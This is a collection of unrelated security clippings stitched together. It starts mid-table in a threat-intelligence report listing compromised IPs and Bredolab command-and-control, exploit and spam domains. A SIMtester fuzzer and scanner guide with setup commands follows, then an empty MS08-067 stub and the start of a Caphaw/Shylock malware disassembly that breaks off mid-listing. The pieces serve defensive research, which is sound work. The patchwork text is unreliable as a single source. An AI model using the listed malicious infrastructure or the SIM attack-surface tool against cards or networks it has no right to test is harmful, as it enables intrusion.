16276 | 91.121.3.80 | OVH OVH  
16276 | 91.121.74.88 | OVH OVH  
16276 | 94.23.110.107 | OVH OVH  
16276 | 94.23.12.62 | OVH OVH  
16276 | 94.23.158.31 | OVH OVH  
16276 | 94.23.198.9 | OVH OVH  
16276 | 94.23.220.163 | OVH OVH  
16276 | 94.23.220.194 | OVH OVH  
16276 | 94.23.224.132 | OVH OVH  
16276 | 94.23.228.40 | OVH OVH  
16276 | 94.23.229.220 | OVH OVH  
16276 | 94.23.24.66 | OVH OVH  
16276 | 94.23.28.143 | OVH OVH  
16276 | 94.23.34.93 | OVH OVH  
16276 | 94.23.35.107 | OVH OVH  
16276 | 94.23.92.35 | OVH OVH  
16582 | 66.185.162.248 | NEXTLEVELINTERNET – NEXTLEVEL INTERNET  
174 | 82.138.98.27 | COGENT Cogent/PSI  
20773 | 87.230.53.82 | HOSTEUROPE-AS AS of Hosteurope Germany / Cologne  
20773 | 87.230.55.58 | HOSTEUROPE-AS AS of Hosteurope Germany / Cologne  
20773 | 87.230.73.52 | HOSTEUROPE-AS AS of Hosteurope Germany / Cologne  
20877 | 87.237.106.195 | DATEK DATEK Telecom SRL  
20912 | 212.66.100.194 | ASN-PANSERVICE Panservice  
23136 | 74.213.179.183 | ONX – OnX Enterprise Solutions Inc.  
24806 | 81.2.210.98 | INTERNET-CZ INTERNET CZ  
24940 | 188.40.81.119 | HETZNER-AS Hetzner Online AG RZ  
24940 | 88.198.14.169 | HETZNER-AS Hetzner Online AG RZ  
24940 | 88.198.35.214 | HETZNER-AS Hetzner Online AG RZ  
24940 | 88.198.49.197 | HETZNER-AS Hetzner Online AG RZ  
24940 | 88.198.55.175 | HETZNER-AS Hetzner Online AG RZ  
24989 | 88.84.145.36 | IXEUROPE-DE-FRANKFURT-ASN IX Europe Germany AS  
27699 | 200.168.150.223 | TELECOMUNICACOES DE SAO PAULO S/A – TELESP  
2860 | 194.79.88.121 | NOVIS Novis Telecom  
28677 | 62.193.208.175 | AMEN AMEN Network  
28753 | 188.72.211.253 | NETDIRECT AS NETDIRECT Frankfurt  
28753 | 188.72.212.104 | NETDIRECT AS NETDIRECT Frankfurt  
29073 | 94.102.54.11 | ECATEL-AS AS29073  
29131 | 109.169.29.144 | RAPIDSWITCH-AS RapidSwitch  
2914 | 198.64.133.214 | NTT-COMMUNICATIONS-2914 – NTT America  
29321 | 217.195.160.74 | CENTRONETAS Centronet  
29550 | 92.48.119.94 | SIMPLYTRANSIT Simply Transit Ltd  
29550 | 94.76.254.248 | SIMPLYTRANSIT Simply Transit Ltd  
29873 | 67.223.233.101 | BIZLAND-SD – The Endurance International Group  
31333 | 83.151.21.150 | VOLLMAR-AS AS31333  
31365 | 85.153.38.2 | SGSTELEKOM SGS Telekom Autonomous System  
32244 | 67.225.181.217 | LIQUID-WEB-INC – Liquid Web  
3301 | 213.180.79.146 | TELIANET-SWEDEN TeliaNet Sweden  
3356 | 62.67.246.113 | LEVEL3 Level 3 Communications  
34265 | 213.108.72.158 | SILVERTELECOM-AS SilverTelecom Ltd  
34762 | 77.241.80.228 | COMBELL-AS Combell group NV  
34779 | 93.103.5.146 | T-2-AS AS set propagated by T-2  
34779 | 93.103.5.156 | T-2-AS AS set propagated by T-2  
35228 | 87.194.123.116 | BEUNLIMITED Avatar Broadband Limited  
35830 | 80.248.221.213 | SIVIT-AS SIVIT Network – http://www.sivit.net/  
36057 | 174.137.179.244 | WEBAIR-AMS Webair Internet Development Inc  
39326 | 93.89.80.117 | GOSCOMB-AS Goscomb Technologies Limited  
39582 | 89.106.8.40 | GRID Grid Bilisim Teknolojileri A.S.  
41044 | 194.24.228.81 | THYA-AS Thya AS Number  
4134 | 61.177.120.254 | CHINANET-BACKBONE No.31  
42926 | 213.128.83.18 | RADORE Radore Hosting Telekomunikasyon Hizmetleri San. ve Tic. Ltd. Sti.  
43350 | 77.247.180.40 | NFORCE NForce Entertainment B.V.  
43413 | 78.41.22.130 | ASNEW NEW TELEKOM  
43541 | 93.185.105.74 | VSHOSTING VSHosting s.r.o.  
44112 | 77.222.43.78 | SWEB-AS SpaceWeb JSC  
44976 | 91.204.116.114 | IONOD-AS AZNet Autonomous System  
4766 | 218.145.56.55 | KIXS-AS-KR Korea Telecom  
4766 | 222.122.81.54 | KIXS-AS-KR Korea Telecom  
48539 | 91.198.106.6 | OXILION-AS Oxilion B.V.  
49981 | 217.23.7.112 | WORLDSTREAM WorldStream  
5577 | 212.117.161.3 | ROOT root SA  
6724 | 85.214.22.200 | STRATO STRATO AG  
6908 | 78.41.156.236 | DATAHOP Datahop Ltd  
7992 | 72.38.223.96 | COGECOWAVE – Cogeco Cable  
8001 | 69.164.212.94 | NET-ACCESS-CORP – Net Access Corporation  
8399 | 81.93.5.49 | ORNIS-AS RISC GROUP IT SOLUTIONS S.A.  
8560 | 87.106.99.134 | ONEANDONE-AS 1&1 Internet AG  
8935 | 212.19.216.11 | INTOUCH-CS-AS Amsterdam  
8972 | 62.75.161.249 | PLUSSERVER-AS PlusServer AG  
8972 | 62.75.162.196 | PLUSSERVER-AS PlusServer AG  
8972 | 85.25.152.176 | PLUSSERVER-AS PlusServer AG  
Which, when plotted on a map, looks like:

<img src='img/Temp2_5572.png' width='300' height='188' />

This map example shows the high concentration of compromised servers in the
OVH autonomous system, a large hosting company located in France. While this
shouldn’t specifically illustrate that OVH is overtly malicious, it does show
that their hosting strategies are permissive to cybercrime \(or at least, they
are not staffed or equipped to handle abuse requests in a timely manner.\).
This data also doesn’t take into account sink-holing activity, in which a
security researcher will register a known malicious domain and redirect its
traffic to a friendly server for intelligence or defensive purposes.

Historically, however, OVH has been highly ranked in most “malicious
organization lists” which include the following:

  * HostExploit – http://hostexploit.com/downloads/view.download/4/27.html
  * FIRE: http://www.maliciousnetworks.org/

With our new found intelligence in hand, we began mapping the infrastructure
according to labels and descriptions that were part of the zone files. What we
found was a tiered infrastructure that spread domains across specific
functions.

**A Tiered-Criminal Infrastructure**

After analyzing the DNS configuration over the observed time-period, we
classified the servers into four distinct “functions”

These were:

  * Command and Control – Domains used for command and control functions
  * Traffic – Domains used in script injection tasks
  * Exploit – Domains used to exploit visiting browsers
  * Supporting – Domains used to support other cybercrime ventures

**Command and Control Domains**

During our observation, we tracked 23 domains specifically devoted to C2
activity, which were then sub-divided into other categories:

afterspan.ru | Bredolab Command and Control  
---|---  
alesolo.ru | Bredolab Command and Control  
armyerror.ru | Bredolab Command and Control  
bayjail.ru | Bredolab Command and Control  
coolblender.ru | Bredolab Command and Control  
discountprowatch.com | Bredolab Command and Control  
evilpal.ru | Bredolab Command and Control  
exitguide.ru | Bredolab Command and Control  
eyesong.ru | Bredolab Command and Control  
feeplain.ru | Bredolab Command and Control  
forhomessale.ru | Bredolab Command and Control  
galoh.ru | Bredolab Command and Control  
hostindianet.com | Bredolab C2/ DNS configuration  
hotgas.ru | Bredolab Command and Control  
imoviemax.ru | Bredolab Command and Control  
localegg.ru | Bredolab Command and Control  
tunemug.ru | Bredolab Command and Control  
yourarray.ru | Bredolab Command and Control  
getyourdns.com | DNS Configuration  
dnsofthost.com | DNS Configuration  
instantdnsserver.com | DNS Configuration  
netdnshosting.com | DNS Configuration  
netwebinternet.ru | Unknown \(labeled “Win Proxy”\)  
Most of these domains all used the same registrar:

**registrar: NAUNET-REG-RIPN**

Naunet , a Russian registrar located in Moscow, has been highly visible in
many “known bad organization” lists. Accord to data at URIBL
\(http://uribl.com\), nearly 100% of the domains recently registered at this
registrar are listed for spam, malware or exploits:

**Listed Domains registered at NAUNET-REG-RIPN**

**97.68% – 970 of 993 domains registered at are listed by URIBL in the 5 day
period prior to the 48hr publication delay.**

Additionally, the ShadowServer organization has tracked additional malicious
behavior \(to which NetWitness was a contributor\) from this registrar:

http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20100815

According to the NAUNET website, multiple avenues of “support” contact
information are given for contact, but in our experience, abuse notifications
are never answered. This, combined with observed behavior, makes it highly
likely that NAUNET-REG-RIPN is complicit in cybercrime activity, if not
directly involved.

**Traffic Domains**

The next group of domains were what we classified as “traffic domains”.

These domains were used specifically in injection and spam tasks, and either
via injected script or direct hyperlink to direct visiting browsers to exploit
domains for exploitation and malware downloads:

abovebikini.ru | pantsletter.ru  
---|---  
abovehell.ru | penzit.ru  
absurdyear.ru | planetevidence.ru  
albinoearth.ru | pocketbloke.ru  
animalink.ru | pokingissue.ru  
ashmind.ru | publicsummer.ru  
barkingtar.ru | ratdock.ru  
betaguy.ru | reactionpoet.ru  
bitterwater.ru | recordsquare.ru  
breezesuitor.ru | rescuedtoilet.ru  
budgetdude.ru | riotassistance.ru  
chickcase.ru | rosevulture.ru  
circusillness.ru | rudeinsect.ru  
coldboy.ru | salebracket.ru  
countryme.ru | salebracket:  
crispybattle.ru | scarystroke.ru  
cutboss.ru | secondgain.ru  
dayemail.ru | shelfmurder.ru  
dizzyfruit.ru | shirtdifficulty.ru  
dyehill.ru | shortrib.ru  
earbeach.ru | slaveperfume.ru  
easychurch.ru | sodarm.ru  
fightkid.ru | soggyplan.ru  
furrytack.ru | soreturtle.ru  
galacticstall.ru | sourmood.ru  
giganticartist.ru | squareamp.ru  
gorgeoushead.ru | starvingarctic.ru  
hairyartist.ru | suitorlady.ru  
hereport.ru | sweatymilk.ru  
icypose.ru | tameflame.ru  
inkcoverage.ru | tendermix.ru  
inkrainbow.ru | thumbgirl.ru  
lonelyzero.ru | tipelephant.ru  
lovingmug.ru | trapbarf.ru  
mealpoets.ru | tunematerial.ru  
mightyradar.ru | validblood.ru  
muginsect.ru | viralwork.ru  
nuttyiron.ru | waredream.ru  
obscurewax.ru | wickerarms.ru  
octopusdye.ru | winterfight.ru  
onionhorse.ru | yellowbarn.ru  
ourpub.ru | zenwitch.ru  
ourpub.ru | zenwitch.ru  
---|---  
In the case of this group of domains, all were registered at NAUNET-REG-RIPN:

<img src='img/Temp2_5575.png' width='300' height='220' />

Again showing ongoing abuse occurring with this registrar.

**Exploit Domains**

The third group of domains, which were the most numerous \(380\) of the
classifications, where used exclusively for host exploitation and typically
listened on port 8080 for connections:

accesspad.ru | momhand.ru  
---|---  
actcountry.ru | mooddeal.ru  
allzero.ru | moodwater.ru  
anyscent.ru | mooseclock.ru  
applecorn.com | morefame.ru  
aquaticwrap.ru | motherfire.ru  
areadrum.com | mshand.ru  
aroundpiano.ru | mspizza.ru  
atlanticslime.ru | mspsion.ru  
bakedship.ru | mudbaby.ru  
ballweek.ru | mushybeer.ru  
bandrace.ru | mushyoil.ru  
bannerpoets.ru | musicnut.ru  
barfquake.ru | musicspark.ru  
barngrape.ru | nearflash.ru  
barnsoftware.ru | newpoem.ru  
baybear.ru | nicechevy.ru  
baymediagroup.com | oilrule.ru  
bedemand.ru | oldgoal.com  
bellday.ru | onionfleet.ru  
bentbluff.ru | opentruck.ru  
bentfolk.ru | ourhit.ru  
besttap.ru | outerrush.com  
betafleet.ru | packimage.ru  
bindispute.ru | panlip.ru  
bingizmo.ru | panskill.ru  
binpub.ru | pantscow.ru  
bitsdad.ru | parcelfool.ru  
bittag.ru | partymoney.ru  
blingfame.ru | pearlring.ru  
blockacid.ru | pearlrisk.ru  
bluefun.ru | pegamp.ru  
bluffonion.ru | pendude.ru  
boatbit.ru | petcode.ru  
bogrebel.ru | picturecurrent.ru  
bookdisk.ru | pilldot.ru  
boozelight.ru | planeshoes.ru  
bossmoon.ru | poolshirt.ru  
boyion.ru | poorweb.ru  
breadcells.ru | pressurespa.ru  
brushmen.ru | priorbars.ru  
bugweek.ru | problemdollars.ru  
busyspade.com | punkdye.ru  
cafemack.com | queenedge.ru  
canmaid.ru | queryiron.ru  
casejuice.ru | questwidow.ru  
caveidea.ru | quietlight.ru  
chainjoke.ru | quietzero.com  
chaosscone.ru | raceobject.ru  
chaoticice.ru | rackcells.ru  
chemistspiral.ru | radarmaze.ru  
cherrysolo.ru | radiomum.com  
chevylaw.ru | radioquest.ru  
childbar.ru | rainfile.ru  
chinawrap.ru | rancideye.ru  
claimpad.ru | raregum.ru  
claimrice.ru | rawscent.ru  
clanday.com | rawware.ru  
clanflag.ru | realyear.ru  
clannut.ru | rebelrobe.ru  
clockledge.ru | rimpearl.ru  
clothstarlet.ru | ripejoke.ru  
clubpie.ru | riskvenom.ru  
conebreakfast.ru | riverocean.ru  
copbun.ru | rockbale.ru  
crystalgreed.ru | roomglass.ru  
crystalrobe.ru | ropefad.ru  
cupbabe.ru | roseshow.ru  
cupjack.ru | roundstorm.com  
cutchair.ru | rowhock.ru  
cuteblame.ru | rubylips.ru  
cuteflash.ru | rubytune.ru  
dailytaxes.ru | ruralmetal.ru  
dealyak.ru | sackball.ru  
diamonddoctor.ru | sadute.com  
dimfame.ru | salesgin.ru  
dingosock.ru | salesyack.ru  
diseasednoodle.ru | sansriot.ru  
dizzyfrogs.ru | scarletpole.ru  
dollrocket.ru | scaryrack.ru  
donutquestion.ru | sheepbody.com  
dopebank.ru | sheepfork.ru  
dressdollars.ru | shinyfrogs.ru  
driparea.ru | shinytower.com  
drunkbat.ru | shipfink.ru  
drunkjeans.com | shirtband.ru  
dullcoins.ru | shirtcoins.ru  
dumbdevice.ru | shirtsalt.ru  
earlymale.com | shoesrebel.ru  
easyrag.ru | shophill.ru  
emptyprint.ru | shortcafe.ru  
entrypill.ru | shortemail.ru  
envirodollars.ru | shortrebel.ru  
evilpen.ru | showarms.ru  
examplebit.ru | showexample.ru  
fadcobra.ru | silencepill.ru  
fadhusband.ru | silencewindow.ru  
fadwife.ru | sillyfame.ru  
famerule.ru | sillysauce.ru  
familywater.ru | sisterqueen.ru  
fightword.ru | sixthdoor.ru  
filmriot.ru | skyrat.ru  
filmsnake.ru | slaveday.ru  
fireback.ru | slavetube.ru  
fitshoes.ru | sledhour.ru  
flamechild.ru | slickclaim.ru  
fleetgarbage.ru | slickstage.ru  
fordloss.ru | smelldoll.ru  
foxfleet.ru | smelldrip.ru  
freaklimit.ru | smokyegg.ru  
friedfool.ru | snakebeast.ru  
frogshair.ru | sneakyring.ru  
galhose.ru | soggyshop.ru  
galneed.ru | solocherry.ru  
galslime.com | sonnose.ru  
galstorm.ru | soremouse.ru  
gasrisk.ru | soundpit.ru  
geekrib.ru | soundreptile.ru  
giantreputation.ru | sourstate.ru  
gigasofa.com | spacememory.ru  
ginmail.ru | splatspa.com  
girllab.ru | spoonsled.ru  
gizmoacid.ru | spotback.ru  
gocloth.ru | spotthing.ru  
greedford.ru | stagepause.ru  
gunclown.ru | stallnut.ru  
guntap.ru | statebot.ru  
guygun.ru | steelpose.ru  
hairybelt.ru | stickregion.ru  
hairyrobot.ru | streetchair.ru  
harpear.ru | stuffcorn.ru  
harshlab.ru | sublover.ru  
hatbot.ru | subpeace.ru  
heroguy.ru | suitorbook.ru  
hiddenyak.ru | sunpound.ru  
highstate.ru | superedge.ru  
hillchart.com | surelemon.ru  
hillnerd.ru | tackymud.ru  
homecan.ru | talldeed.ru  
horsedoctor.ru | tangytable.ru  
hugefrogs.ru | tanspice.com  
hugegirls.ru | tanyear.com  
hugejar.com | tartonion.ru  
indiancurtain.ru | taxesball.ru  
inktime.ru | taxestower.ru  
ionicclock.com | taxshelf.ru  
jackgas.ru | termquake.ru  
jarpub.ru | theirpicture.ru  
juicemilk.ru | theirsnot.ru  
juicypark.ru | thewatches-discount.com  
kidstune.ru | thirdharp.ru  
kitegreed.ru | tightmouse.ru  
lameshow.ru | tightsales.com  
landclock.ru | tintie.ru  
lasteye.com | tipbear.ru  
lazydonut.ru | tipsymoon.ru  
lazymatch.ru | towersky.ru  
legmood.ru | toxicedge.ru  
lessgap.ru | treecorn.ru  
lesskids.ru | treetip.ru  
lightkeys.ru | tribalbell.ru  
limitgap.ru | tubleg.ru  
lipbloke.ru | tuneblouse.com  
liplead.ru | undermix.ru  
lipspig.ru | useyack.ru  
locoblock.ru | utefox.ru  
lossplant.ru | validplan.com  
lostson.ru | vamptoes.ru  
lowermatch.ru | vastchief.ru  
luckyfan.ru | warydrunk.ru  
luckyfilth.ru | waxyblock.com  
luckysled.com | waxytooth.ru  
lumpybell.ru | wearyratio.ru  
lumpysmell.ru | weedsea.ru  
lunchego.ru | weekrack.ru  
lunchstroke.ru | widescone.ru  
macrotub.com | wildplane.ru  
madtax.ru | windybog.ru  
maidshed.ru | witfence.ru  
malecold.ru | workray.ru  
marketholiday.ru | wormware.ru  
mealsmell.ru | wrapboss.ru  
metalspice.ru | yaktrack.ru  
micarea.ru | yummyeyes.ru  
microlightning.ru | zenrope.ru  
mildbabe.ru | zilchpipe.ru  
minedesigns.ru | zinceye.ru  
minutecorn.ru | zipmoon.ru  
modelbomb.ru | zoojeans.ru  
moldypill.ru | zooneed.ru  
The majority of these domains were again registered at NAUNET, but we also see
an additional familiar face in the “bad registrar” space:

  * **Registrar:BIZCN.COM, INC. \(number 12 on URIBL.com\)**
  * Registrar: ONLINENIC, INC.
  * Registrar: PAKNIC \(PRIVATE\) LIMITED
  * Registrar: REGIONAL NETWORK INFORMATION CENTER, JSC DBA RU-CENTER

**Supporting Domains**

The fourth and final classification of domains in this infrastructure were
devoted to a number of “supporting activities”, most notably elements that are
typically the subject matter of mass-spam campaigns.

This includes:

  * Pharmacy Sites
  * Gambling
  * Pornography
  * Counterfeit Merchandise
  * Pirated Video
  * Online Dating

<img src='img/Temp2_5571.png' width='300' height='180' />

The domains in this group were as follows:

bestviagraa.com | Pharmacy Spam  
---|---  
bestviagracenter.com | Pharmacy Spam  
bestviagrapharmacies.com | Pharmacy Spam  
bestviagrapills.com | Pharmacy Spam  
buynowviagra.com | Pharmacy Spam  
buyviagraworld.com | Pharmacy Spam  
cheapdrug-shop.com | Pharmacy Spam  
cheapviagrarx.com | Pharmacy Spam  
co-pharmacy.com | Pharmacy Spam  
drugbestprice.com | Pharmacy Spam  
drugs-shop4u.com | Pharmacy Spam  
drugshops24.com | Pharmacy Spam  
eropharmacy.com | Pharmacy Spam  
esuperviagra.com | Pharmacy Spam  
expressviagraonline.com | Pharmacy Spam  
greatviagrabest.com | Pharmacy Spam  
greatviagraprice.com | Pharmacy Spam  
i-drugshop.com | Pharmacy Spam  
live-pharmacy.com | Pharmacy Spam  
mybestviagra.com | Pharmacy Spam  
naturalviagraonline.com | Pharmacy Spam  
onlineviagraorder.com | Pharmacy Spam  
pharmacy-4you.com | Pharmacy Spam  
pharmacy-magazine.com | Pharmacy Spam  
superviagraonline.com | Pharmacy Spam  
thecheapviagra.com | Pharmacy Spam  
thenaturalviagra.com | Pharmacy Spam  
thesuperviagra.com | Pharmacy Spam  
theviagrapills.com | Pharmacy Spam  
theviagrasite.com | Pharmacy Spam  
viagra-international.com | Pharmacy Spam  
viagrabestprices.com | Pharmacy Spam  
viagrapriceline.com | Pharmacy Spam  
web-drugshop.com | Pharmacy Spam  
world-drugshop.com | Pharmacy Spam  
discount-bestwatch.com | Counterfeit Merchandise  
discount-bestwatches.com | Counterfeit Merchandise  
discount-smartwatch.com | Counterfeit Merchandise  
watch-atbestprice.com | Counterfeit Merchandise  
watchatlowprice.com | Counterfeit Merchandise  
firstmillionrecords.ru | Gambling |   
getyourmillions.ru | Gambling |   
milliondoll.ru | Gambling |   
multimillionman.ru | Gambling |   
thegreatmillion.ru | Gambling |   
gr8kino.ru | Pirated Video  
100bestfilms.ru | Pirated Video  
kino-welcome.ru | Pirated Video  
skachivai-kino.ru | Pirated Video  
seebestkino.ru | Pirated Video  
hochutebia.ru | Online Dating  
hotsex-meets.ru | Online Dating  
dating-4you.ru | Online Dating  
dating-group.ru | Online Dating  
dating-spot.ru | Online Dating  
love-pair.ru | Online Dating  
xochu-dating.ru | Online Dating  
planet-of-sexy.ru | Pornography |   
planet-sexy.ru | Pornography |   
seksyplanet.ru | Pornography |   
seksyy-planet.ru | Pornography |   
seksyyplanet.ru | Pornography |   
sexadults.ru | Pornography |   
sexhotmamba.ru | Pornography |   
sexmambass.ru | Pornography |   
sexmambu.ru | Pornography |   
sexplaycom.ru | Pornography |   
**Scan4you.net**

An added bit of intelligence that came through the server status pages on
these servers was the proxying of “scan4you.net” through all of the exploit
domains. This was evident by the following request:

GET /scan4u/ HTTP/1.0,2010-06-10 10:00:01

GETs of the following URL from any exploit domain on port 8080 resulted in a
connection to **http://scan4you.net**

http://_domain_ :8080/scan4u

Scan4you.net is essentially a “criminal virustotal plus”. That is, it is a
service where a miscreant can submit a newly created malware binary to gauge
the detection rate of various antivirus vendors. While similar to virustotal
in this regard, the key is that scanned binaries aren’t submitted to the
antivirus vendors in question, as is done with virustotal. A general overview
of the service \(translated from Russian\) shows the following key points:

  * The service doesn’t submit to anti-virus vendors.
  * Antivirus clients are updated hourly to maintain a current definition set.
  * Submitted binaries are rechecked on a schedule and customers are emailed about new detections.

As well as antivirus checks, the miscreants running the service appear to have
extended their checks into the online blacklist area:

_“Domain check on presence in black list: ZeuS domain blocklist, ZeuS IP
blocklist, ZeuS Tracker, MalwareDomainList \(MDL\), Google Safe Browsing
\(FireFox\), PhishTank \(Opera, WOT, Yahoo\! Mail\), hpHosts, SPAMHAUS SBL,
SPAMHAUS PBL, SPAMHAUS XBL, MalwareUrl,SmartScreen \(IE7/IE8 malware &
phishing Web site\),Norton Safe Web, Panda Antivirus 2010, \(Firefox Phishing
and Malware Protection\), SpamCop.net and RFC-Ignorant.Org.”_

This update indicates ongoing blacklist checks across a variety of services,
including:

  * Security researcher and community published blacklists \(zeustracker, malwaredomainlist, malwareurl, phishtank, spamhaus\)
  * Browser-based anti-phishing technology \(google safe browsing, smartscreen\)
  * Vendor blacklists \(Norton, Panda, etc.\)

Miscreants using this service have a one-stop shop for both the detection of
malicious binaries as well as the existence of their delivery systems in
disparate blacklists across the Internet.

**Tying it together**

When the numbers are looked at as a whole, the infrastructure shows knowledge
of defender techniques, as well as insight into the various money-making
schemes involved.

<img src='img/Temp2_5574.png' width='300' height='180' />

Exploit domains are, by far, the largest slice of the total number of involved
domains. Because exploit activity is often the “noisiest” of the infection
cycle in a malware campaign and usually the mostly likely target for takedown,
it makes sense that this operator would have a large quantity of such domains
to rotate into campaigns as needed. Details showed this was a proxy network as
well, so the use of compromised servers as a front-line helps to prevent
takedown of the back-end servers feeding the system.

Based on the gathered intelligence as a whole, the operator was likely making
money off of this scheme in a number of ways:

  * Multiple Bredolab C2 domains indicate a segregated botnet which suggests that the operator rented portions of the botnet out to end-users.
  * Executable delivery as part of second-stage after Bredolab installation.
  * Executable delivery outside the observed infection chain \(directly from a domain subdirectory\) suggests hosting services for other malware campaigns.
  * Proxying of third-party sites indicates spam-related hosting services for items that are of high risk for takedown. \(pharmacy, gambling, pornography, etc.\).
  * Proxying of the “Scan4you.net” service.

**Conclusions**

The intelligence gathered on this system show the continuing advancement of
criminal exploit systems and detail the following points:

  1. The continued abuse of online hosting and registration services, and the associated lack of action by ICANN and Regional Registries in suspending organizations associated with criminal activity, despite overwhelming evidence of abusive, permissive or neglectful activity.
  2. The use of automation to stymie researcher takedown efforts and creatively weighting points in the malware-infection cycle to predict takedown activity \(high number of exploit domains compared to others\).
  3. The use of compromised credentials to inject scripts into benign sites and direct visiting browser systems.
  4. The use of compromised servers to host spam-related content and further monetize fraud activity outside of malware infection.
  5. The use of proxy networks to obfuscate primary hosts in the infrastructure.

Special thanks to the following researchers, who played a key role in helping
us understand this system:

Vitaly Kamluk – Kaspersky Lab, Japan  
Steven Burn – Ur I.T. Mate Group

Happy Hunting\!

Alex Cox, Principal Research Analyst

# Test SIM Cards for Various Vulnerabilities: SIMtester

**Created:**| _5/7/2017 10:28:03 AM_  
---|---  
**Updated:**| _5/7/2017 10:28:03 AM_  
**Author:**| __  
**Tags:**| _Embedded mobile/embedded gsm_  
  

  

# Test SIM Cards for Various Vulnerabilities: SIMtester

CyberPunk » Phones

<img src='img/SIM-1000x603.jpg' width='1000' height='603' />

* * *
## Test SIM cards for various vulnerabilities

* * *
The provided tools assess SIM card security in two dimensions:

  * ### Cryptanalytic attack surface
**** Collect cryptographic signatures and encryptions of known plaintexts

  * ### Application attack surface****
Generate a list of all application identifiers \(TAR\) and find “unprotected”
\(MSL=0\) applications

* * *
* * *
30C3: Mobile network attack evolution \(EN\)

###### Fuzzer

Has its own intelligent logic, fuzzes ~120 chosen TARs, is divided into 3
modes:

  * Full fuzzing \(default\) – all 15 keysets with all 16 fuzzing mechanisms
  * Quick fuzzing \(-qf option\) – keysets 1 to 6, only 4 most successful fuzzing mechanisms
  * Poke the card \(-poke option\) – same as quick fuzzing but only fuzzes 3 most common TARs \(000000, B00001, B00010\)

Custom keysets and TARs can be specified via **-t** and **-k** parameters
\(space being a delimiter between multiple values\).

###### TAR Scanner

Scans for valid TAR values by sending messages to them, has 2 modes:

  * Full scan \(-st option\) – scans for all possible TAR values \(0x000000 – 0xFFFFFF\) – may take a few hours or several days depending on your SIM card speed
  * Ranged scan \(-str option\) – scans for valid TAR values in pre-specified ranges to optimise the scanning duration

A starting value for Full scan can be specified using **-t** option.  
A keyset used for sending messages can be specified using **-k** option \(for
both Full and Ranged scans\).

Tip: run fuzzer first, see what keysets seem responsive \(give answers other
than none\) and use one of those for TAR scanning, because if you use an
inactive keyset it’s very probable the card will NOT answer even on a valid
TAR which makes TAR scanning non-functional.

  

###### APDU Scanner

Scans for valid APDU values \(think of APDUs as of commands to the card\) on
TARs without any public APDU reference, it has 2 modes:

  * LEVEL 1 scan \(performed automatically after **Fuzzer** finishes and has found unprotected TARs with responses\) – only scans for valid CLA 0x00 – 0xFF – it is performed via OTA messages.
  * LEVEL 2 scan \(-sa option\) – scans for both CLA 0x00 – 0xFF and INS 0x00 – 0xFF – it is performed locally on card I/O on initially selected application

###### Using OsmocomBB phone as a SIM reader

This requires a patched firmware and a libosmosim.so library. Patched sources
can be found in luca/libosmosim branch in OsmocomBB git tree:

[code]

    git clone git://git.osmocom.org/osmocom-bb.git
    cd osmocom-bb/
    git checkout luca/libosmosim
[/code]

once compiled use the **`layer1.compalram.bin`** firmware and copy
**`libosmosim.so`** \(`layer23/src/libosmosim/.libs/`\) to your
java.library.path folder \(usually `/usr/lib/jni/` on Linux\).

then just use **`-tf OsmocomBB`** to turn your Osmocom phone into a SIM card
reader for SIMTester.

## Contribution to gsmmap.org

* * *
a new option **`-gsmmap`** has been introduced in version 1.5 in order to
provide upload functionality to gsmmap.org even for users not using the Live-
System

Tor can be also used by specifying:

[code]

    java -jar SIMTester.jar -gsmmap -socksProxyHost=127.0.0.1 -socksProxyPort=<tor_port> ... other options ...
[/code]

If you already have scanned your cards **without`-gsmmap`** option, you can
use the web form here: http://gsmmap.org/upload.html to upload your CSV
results SIMTester provided.

## Requirements

* * *
  * Java 1.7 \(code can be easily tweaked to compile under Java 1.6 or even lower if needed\)
  * PC/SC reader \(via pcsc daemon\) –or–
  * Osmocom phone \(via libosmosim\)

### <img src='img/android.jpg' width='200' height='217' alt='Test SIM Cards
for Various Vulnerabilities: SIMtester' />

## Dependencies

* * *
Software uses several libraries, if compiled from source the following
libraries are needed:

  * Apache Common CLI 1.3
  * Apache HttpClient 4.3.x
  * CombinatoricsLib 2.0
  * SIMLibrary – available in the git along with _**SIMTester**_

## Download

* * *
  1. Pre-compiled .jar with libraries
  2. Live-System
  3. Source code

  

  *[MSL]: Minimum Security Level
  *[TAR]: Toolkit Application Reference
  *[APDU]: Application Protocol Data Unit
  *[CLA]: Class
  *[OTA]: Over The Air
  *[INS]: Instruction

# Hello MS08-067, My Old Friend\!

**Created:**| _11/30/2016 9:47:24 AM_  
---|---  
**Updated:**| _5/7/2017 11:17:24 AM_  
**Author:**| __  
**Tags:**| _Exploit windows_  
  

  
<img src='img/hello-ms08-067-my-old-friend.pdf' />  

# In depth analysis of Caphaw/Shylock from “FirefoxUpdate.exe” campaign – Part
2

**Created:**| _10/15/2013 2:29:50 PM_  
---|---  
**Updated:**| _10/15/2013 2:29:50 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis software testing windows environment software_  
  

# In depth analysis of Caphaw/Shylock from “FirefoxUpdate.exe” campaign – Part
2

October 15, 2013 By UIC Leave a Comment

### Introduction

Welcome to the second part of our analysis of Caphaw/Shylock. In the first
chapter we have gone through the dropping and unpacking stages of this
malware. In this second part we will go through the remaining **HSE::
Step\(s\)** – in particular we will see how the previously gathered
information will be used, the network interactions between the bot and the
Command and Control Server and finally how Caphaw injects its malicious code
inside explorer.exe process.

#### Authors

Evilcry \(@Blackmond\) and Cthulhu\(@0s0urce\).

#### Exploring the Core – Part 2

In the last episode we left our analysis at “ _HSE::Step 5 \(It’s the first
starting\)._ ” and more precisely inside **call 00EE48DB** , immediately after
victim’s data collection phase.

1234| `00EED33F` `8BFC` `MOV` `EDI``,``ESP``00EED341` `E8` `D787FEFF` `CALL`
`00ED5B1D``00EED346` `E8` `DCA4FFFF` `CALL` `00EE7827` `; ECX points to one of
the previously decrypted URLs``00EED34B` `8D75` `D4` `LEA`
`ESI``,[``EBP``-``2C``]`  
---|---  
The presence of an URL in ECX suggests that we are should be close to the
network functionality. Let’s go ahead and analyse _call 00EE7827_ isolating
the most important subcalls.

1234| `00EE783B` `8D45` `FC` `LEA` `EAX``,[``EBP``-``4``]``00EE783E` `50`
`PUSH` `EAX` `; points to one of the previously decrypted URLs``00EE783F` `E8`
`7DF9FFFF` `CALL` `00EE71C1``00EE7844` `59` `POP` `ECX`  
---|---  
Inside _call 00EE711C1_ :

1234567891011121314151617181920212223242526272829| `00EE71CD` `B8` `1095EB00`
`MOV` `EAX``,``0EB9510``00EE71D2` `E8` `5A4A0000` `CALL` `00EEBC31` `; decrypt
"abcdefghijklmnopqrstuvwxyz0123456789"``00EE71D7` `8D45` `0C` `LEA`
